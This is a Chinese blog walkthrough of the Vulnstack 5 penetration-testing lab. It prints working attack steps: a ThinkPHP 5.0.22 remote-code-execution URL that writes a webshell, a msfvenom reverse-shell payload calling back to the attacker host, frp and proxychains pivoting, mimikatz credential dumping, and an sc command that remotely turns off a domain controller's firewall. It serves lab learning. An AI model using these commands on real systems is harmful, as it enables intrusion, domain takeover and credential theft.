打了个红日的靶场,相对来说比较小,不过麻雀虽小五脏俱全,还是学到了很多东西的,记录一下
vulnstack 5
环境搭建
nat模式模拟外网,主机模式模拟内网,NAT模式改为192.168.135.0,主机模式改为192.168.138.0

win7 须登录后在C:\phpstudy
下开启phpstudy,
kali IP为192.168.135.128
,win7 IP为192.168.135.150
, win server IP为192.168.138.138
账号密码分别为:
SUN\leo:123.com
SUN\Administrator:dc123.com
最好上去改一下密码
getshell
发现是thinkphp框架,构造一个404页面,发现是5.0.22版本:

找到网上的exp,直接利用:
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=一句话木马
写入一句话木马shell.php,蚁剑连接,开始信息收集
发现双网卡及域:

判断存在域环境,利用ipconfig /all确定域控IP为192.168.138.138
(DNS服务器即域控)
msf上线
打开kali,输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.128 LPORT=2333 -f exe -o re.exe
,将生成的exe利用蚁剑上传至win7,并利用蚁剑执行。
kali输入msfconsole,进入msf,输入
1 | use exploit/multi/handler |

搭建代理
这里我用的是frp。
frpc.exe和frpc.ini传至win7。
frps和frps.ini放在kali。
配置如下(记得删除#和后面的注释):
frpc.ini:
1 | [common] |
frps.ini
1 | [common] |
上传后,先运行frps,在运行frpc。
frps -c frps.ini
、frpc.exe -c frpc.ini
成功后如下图:

(吐槽一句,frp想搞反向代理太麻烦了,增加或减少代理数量还得先kill掉之前的代理、改配置、重新起代理,或许跟我用的不熟练也有关系)
使用proxychains。
1 | sudo apt-get install proxychains4 |
- 去掉dynamic_chain前面的注释
- 在最下面的proxylist中加入
socks5 127.0.0.1 10001
之后即可用proxychains进行代理。
验证
除了frp的面板能验证代理成功以外,还可以用proxy switch omega,如果挂上代理访问127.0.0.1能访问到thinkphp则成功。
提权
msf,getsystem

横向移动
拿密码
利用msf加载mimikatz
1 | load kiwi |
这里要注意,由于win7为64位系统,此时直接用mimikatz会提示ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process
,所以需要进行进程迁移
先利用ps,查看进程,找到一个system权限,且为64位的进程,利用migrate xxx(进程的PID)
进行迁移,之后就和上面说的一样了。
结果如下:


这样就获取到了域管理员的账户和密码
加路由
首先利用run get_local_subnets
查看网段,如果我们不添加网段路由的话,是探测不到这两个网段其他主机的。
下面是用法:
1 | #在全局给指定的session增删路由 |
在这里,我们直接run autoroute -s 192.168.138.0/24
即可
探测端口存活
新开一个控制台,利用代理新开一个msfconsole,搜索portscan,得到许多端口扫描模块:

想用哪个就用use x
命令,利用options查看有哪些是需要我们设置的值,这里我用的是tcp扫描,如下:

设置RHOSTS 为192.68.138.138,需要的话也可以自己设置PORTS(最好设置一下,不然扫描太慢了)
当socket出现timeout的时候,说明端口未开放,区别如图:

渗透
扫完之后,发现445端口和139端口开放,怀疑开启了SMB。于是直接用ms17_010和psexec打了一下,发现psexec成功了但没有创建session,怀疑存在防火墙。于是决定利用win7建立IPC$连接来关闭防火墙。
在meterpreter界面执行shell,进入shell页面。且利用chcp 65001
解决乱码问题cmd
如图:

之后利用net use建立连接
1 | net use \\192.168.138.138\ipc$ "hongrisec@2021" /user:"sun\administrator" |
之后利用sc命令创建任务:
1 | sc \\192.168.138.138 create downfirewall binpath= "netsh advfirewall set allprofiles state off" |
之后用代理的msf进行攻击即可。
注意,我这里并没有使用反弹shell,而是利用的正向连接,反弹shell需要端口转发,frp的端口转发需要将frps放在win7上,frpc放在kali中,配置和之前差不多,只有去掉socks5插件就行。我感觉太麻烦我就没搞,感兴趣的可以尝试一番

至此,成功拿下域控。
最后
其实拿下域控的方法应该不止这一种,包括哈希传递等方法,我就不一一列举了,而且我还有很多操作没做,比如维持权限、入侵痕迹清楚等等,能学到的东西还有很多。
这个靶场对新手还是非常友好的,体积也比较小只有12G,浏览器+kali+win7+winserver占用率才到64%,上次的vulnstack1,多了个虚拟机,我的电脑直接飙到90%左右,每天都在担心他会不会跑着跑着挂掉
拓展
- 我们可以利用msf的
post/windows/manage/enable_rdp
模块开启rdp服务。而且在获得session后我们只需要设置session即可。
kali,利用proxychains rdestop 192.168.138.138
即可进行登录
- meterpreter可以上传文件,命令为
upload /home/kali/a.txt
一般来说上传后的目录要么是getshell的目录,要么是c:\system32
参考文章:vulnstack靶机(5)_ximo的博客-CSDN博客
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2021/10/20/vulnstack5/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!